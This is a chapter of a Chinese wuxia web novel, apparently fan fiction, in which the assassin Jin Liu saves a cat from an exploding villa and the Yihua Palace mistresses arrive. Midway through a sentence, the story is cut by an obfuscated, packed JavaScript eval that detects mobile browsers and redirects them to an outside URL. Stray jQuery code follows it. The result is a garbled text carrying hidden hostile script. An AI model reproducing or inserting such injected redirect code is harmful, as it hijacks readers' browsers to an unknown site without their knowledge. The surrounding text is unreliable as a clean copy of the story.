众人形容狼狈的逃出秋府,各自把带出来的女孩们放在地上。
女孩们除了不问还强撑着留有些许清醒,其他都已力竭晕了过去。
在母亲的帮助下,寒江雪轻手轻脚的放下背上的女孩,随后踉跄的靠在树干上,双手颓然的捂着脸。
救不完,她们救不完。
金流回来的很快。
她们刚落地不久,就见一个身影穿破层层黑烟,最后七扭八拐的落在近前。
刀客身上的白衣本就沾了血,如今又覆上了一层烟灰,脏的简直看不出原样。
她怀里抱着什么东西,用广袖严严实实遮挡着,只能看见一只伸出来的爪子,不安分的扒拉着衣角。
“你受伤没?”阿飞心急如焚的上去检查。
金流点点头,粲然一笑,黑漆漆的面上只见两排雪白整齐的牙齿,她不算是的摆手,露出手背上几条细细的抓痕。
“一点小伤而已。”她一边说,洋洋得意的举起一只跟她一样灰头土脸的三花猫,“锵锵,我把她救出来了!”
除了阿飞跟她一块儿高兴,其他人或气喘吁吁,或扭头垂眼,或神情复杂,总之没人给她想要的反应。
金流摸不着头脑的收回猫,为了掩饰尴尬,低头揉弄着三花猫的脑袋,恨恨道:“坏脾气的臭猫!要不是你死了绿豆会伤心,我才不会去救你,就让你变成碳烤小猫!”
秋府中的爆炸声持续不断,脚下的震动愈发强烈,此刻再想回正厅救人,简直难如登天。
周遭正在用午饭的人家感觉到动静,纷纷弃了碗筷,满头雾水的仓皇逃窜。
喧闹啼哭混着爆破声,从四面八方涌入耳中,生生将脑浆搅成了浆糊。
金流轻轻压低眉头。
好吵。
她疑惑问道:“我们还不走吗?”
“呵。”
愤怒的,甚至略带嘲讽的冷笑。
金流更加疑惑,她看向沉着脸,就算被寒千山提醒,也仍将不快摆在面上的寒江雪。
见金流终于注意到自己,寒江雪本想等她发问,谁知她只是瞥了自己一眼,就又低头去逗弄那只猫。
“这只是只猫!”寒江雪忍无可忍的爆发。
金流莫名其妙的看她,“我眼睛没被熏坏,当然知道她是只猫。”
对面的少女几乎气得发抖,满是擦伤灼伤的双手紧握成拳,瞪着眼,咬着牙,不可置信且伤心欲绝的盯着她。
“你为了这只猫,不仅忽视了那么多需要你拯救的女孩,还将自己置身于险境!知不知道多你一双手,至少可以多救出三个人!还有五个……”寒江雪抹了一把眼泪,把脸抹的更花,“还有五个没救出来……”
“所以?”金流歪头。
面对突如其来的责备,她情绪平和,好脾气跟涉世未深的少女讲道理。
“你们好像总是搞错一样东西,嘶——”
三花猫猝不及防的凑上来舔了一下她的眼角,她疼得吸了口气,嫌弃的推开猫头,继续道:“我只是个杀手,不是正道侠士,更不是救世主。”
余光扫过紧紧拥着不闻的不问,她耸耸肩,“只要我的欠条找得到人还,死几个人与我何干。”
至于五条人命和一只猫嘛……
寻常人都知道该如何选择。
可金流又不是寻常人,应该说能在末世的第三百年活下来的,都不能再简单的称之为人。
况且在末世中挣扎求活已经痛苦万分,要是还有除了爱自己以外的多余感情,那可真不亚于沦入十层炼狱。
无缘无故的仁慈不属于末世,不属于她们这样的人。
不相干的人命,不过是裙摆的浮灰,不用吹就会掉落,根本不值得注意。
金流抱紧怀中的三花猫,转了一圈,看清众人的表情后,轻笑一声。
“好心的侠士们,与其花时间在这质问我,不如再冒着风险进去,五个人而已,一趟就能搞定。”
她侧身让出一条道,做出请的姿势。
寒千山第一时间压住女儿的肩膀,却被她狠狠甩开。
“我当然会去!我现在就去!”
少女气势汹汹的往废墟里冲去,热浪炙烤着全身,在被黑烟完全迷住视线前,她悄悄回头看了一眼。
原以为会看到白衣刀客高高在上的讥讽,没想到对上的却是一双含笑的眼睛。
漆黑的眼睛,里面有一点很亮,即便是阳光灿烂的白昼,也掩盖不了那点光辉。
像是被那光点烫到似的,寒江雪忙不迭的收回视线,飞身前往正厅。
目送女儿义无反顾的往里奔去,寒千山半是无奈,半是怅然的扶额。
少年时的满腔热血,只有未来撞上南墙,撞得头破血流的自己才有资格嘲讽。
作为母亲,她会尽义务劝导,却不会过分阻拦。
眼看寒江雪的身影消失在硝烟之中,一直沉默不语的陆小凤也迈开步子,往爆炸深深处走去。
金流正伸着手让阿飞拍拍身上的灰尘,她耳朵动了动,在陆小凤运起轻功准备进去时,叫住了他。
“不用去了。”
她享受的昂着头,任由少年剑客细心的擦拭锁骨间的污渍。
陆小凤隐忍又不解看她,“为什么?”
金流懒洋洋的看着正厅的方向,嘴唇微微嘟起,做出一个无声的口型。
“砰——”
自秋府正厅传来的爆破声震天裂地。
除金流外,毫无防备的众人都痛苦的捂住耳朵,蹲伏在地,避开迎面而来的飞沙走石。
轰隆轰隆的响动像是蛇一样,不停的在脑袋里窜动。
一直稳重冷静的寒千山变了脸色,她摇摇头,单手撑地,摇摇晃晃的起身,想要去救女儿,可刚走两步,就又被接踵而来的爆炸冲击得半跪在地。
陆小凤呆呆地望着那处,绝望的喃喃道:“完了完了……”
一点红将剑深深插进地里,以此低于冲击,勉强稳住身形后,他立刻扭头看向金流。
刀客黑乎乎的脸上,那双凌厉的眼睛半眯着下垂,格外轻松自然。
看清她的神色后,杀手心中不再似陆小凤那样悲观。
三花猫不安分的爬到刀客肩上,踮着脚望着浓烟滚滚的秋府,喵喵叫时,烧焦的胡须颤巍巍的抖动。
几息之后,天上忽然飘落下什么东西。
金流摊开手,一片淡粉的花瓣滑过睫毛,徐徐落入掌心。
她仰头,数不清的花瓣雪一样洒落人间。
与此同时,一阵香风穿透黑雾浓烟,袭向众人。
如此大的气势,来的定非常人。
不知是敌是友,久经江湖的寒千山和陆小凤立刻戒备起来。
察觉到古怪的空气流动,寒千山拔剑相迎,剑气流动间,她忽然瞧见一张再熟悉不过的脸直直冲自己而来。
她赶忙收了剑,双手接住被丢出来的寒江雪,锐利的目光仍锁定着隐身在浓雾后的人。
无数花瓣河水一样自烟雾中流出,铺在地上,隔绝一切污秽。
最先出现的七位白衣侍女,脚尖轻点花瓣,没有落到实处,足以看出几人武功深厚,其中五位手上抱着的正是她们来不及救出的女孩。
七位靓丽非凡的侍女将女孩小心放置在侧后,随即分侍两边,每人袖中钻出两条纯白绸缎,交织成毯,悬于空中。
青绿和粉白,大多数穿上都会显得楚楚可怜,惹人怜爱。
可点着绸缎出场的两位绝代佳人,一粉白一青绿,一冷眼一柔和,气势皆强劲得可怕。
侍女中打头那位骄傲的自报家门,来者竟是移花宫邀月怜星两位宫主。
见众人一脸肃色,金流戳戳阿飞,两人暗自咬耳朵。
金流,“移花宫是什么?很厉害吗?”
阿飞,“不知道,没听过。”
金流,“宫主是什么?跟话本里送去和亲的公主一样吗?”
阿飞,“嗯……应当不一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517665|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样吧。”
二人自认为的窃窃私语,落在其他人耳中就是再光明正大不过的议论。
眼见移花宫的几位侍女已经气得脸又红又白,陆小凤赶紧站出来打哈哈。
他恭敬行礼,正色道:“多谢两位宫主,多谢几位姑娘,救下她们的性命。”
谁知移花宫侍女们根本不吃他这套,看他的眼神比看满地的尘埃更厌弃。
“我们救人,何须你来谢。”
陆小凤碰了一鼻子灰,苦笑着退到一旁。
江湖传言还是该信一信的。
移花宫果然跟传闻中的一样,爱女厌男,从上到下,就连养的猫猫狗狗都只能是女的,只要见到男的,就恶心的几欲呕吐。
寒千山扫了一眼,见金流只顾着抄着手看好戏,自家女儿又暂时拿不出手,她呼出一口浊气,笑着上前跟移花宫交涉。
生死关头走一遭,寒江雪完全忘了自己还在跟金流闹别扭,神神秘秘的凑到她边上,跟她窃窃私语。
“女侠!我刚才在里面看到怪事了!有一个贼眉鼠眼的老男人,不要命的闯进正厅,看见秋全被绑在椅子上,哭着喊着去给他解绑,眼看着房子塌了,他硬是没跑,死命的把秋全护在身下,俩人生生给压成了一团烂泥。”
金流想了想,“贼眉鼠眼?应该是那个管家。”
“我又没见过那个管家,算了算了,不说他们,晦气!”
寒江雪摆摆手,又指指对面的人。
“我听母亲提过几次移花宫,说是两位宫主武力超群,当世没几个人能敌,还有咳咳咳!”
在里头呛了灰,寒江雪控制不住咳得撕心裂肺,她坚强的捶着胸口,好不容易顺下这口气,就迫不及待的继续说。
“移花宫只收女弟子,曾有男人慕名前去,死活赖着不走,最后被拆了骨头挂在一艘船头,顺流飘了三个月才让人给取下来。
还有还有,说是有两个自小在移花宫长大的弟子,居然因为一个男人叛逃出宫!邀月怜星两位宫主对她们下了绝杀令,其中一个跟那男的一起被抓到,两人被一起丢进蛇穴,折腾了半年多才彻底咽气。”
金流神采奕奕的盯着她,“那另一个呢?”
寒江雪晃晃指尖,一副讳莫如深的表情。
“另一个据说一直没抓到,不过跟被丢进蛇穴的弟子不一样,她的绝杀令不久就撤了,好像说她并不是为了男人叛逃……”
听她讲着讲着,金流散漫的神色渐淡,心中有了决断。
果然,寒千山跟邀月怜星谈了一会儿,就招手把金流也叫了过去。
寒千山跟她解释了一番,移花宫这次来翁城,是因为查到了之前叛逃出来的弟子的踪迹。至于救人嘛,都是女人,顺手为之。
金流试探道:“那个弟子是不是叫白月?”
怜星摇头,看了一眼阴沉着脸的邀月。
“她叫花无月。白月……可能是她的化名。”
金流表示懂了,然后有些为难的卷卷发尾。
“如果真是她的话,那你们来晚了,白月三年前就死了。”
不知何处而来的强风卷起地上的花瓣,柔韧的花边化作利器,轻轻一碰便割开道道血口。
磅礴的内力自一直未曾开口的邀月体内泄出,她敛着眉眼,轻声道:“你说她……死了?”
金流抬袖挡下到处乱飞的花瓣,苦命的皱着脸 。
“跟我们一点关系没有,你不要殃及无辜啊。”
眼见邀月无动于衷,她灵光一闪。
“你都还没确定白月是不是花无月,干嘛这么早生气。我知道白月的尸体在哪,你要不先去认一认?”
狂风暂歇,花瓣落地。
想起被炸得一塌糊涂的秋府,金流刚松的一口气又提了上去。
白月的尸体藏在地下,不会也一起炸成渣渣了吧。
“等等!”金流反应过来,把旁边的人一个挨一个看了过去,双手一摊,“话说秋香里呢?”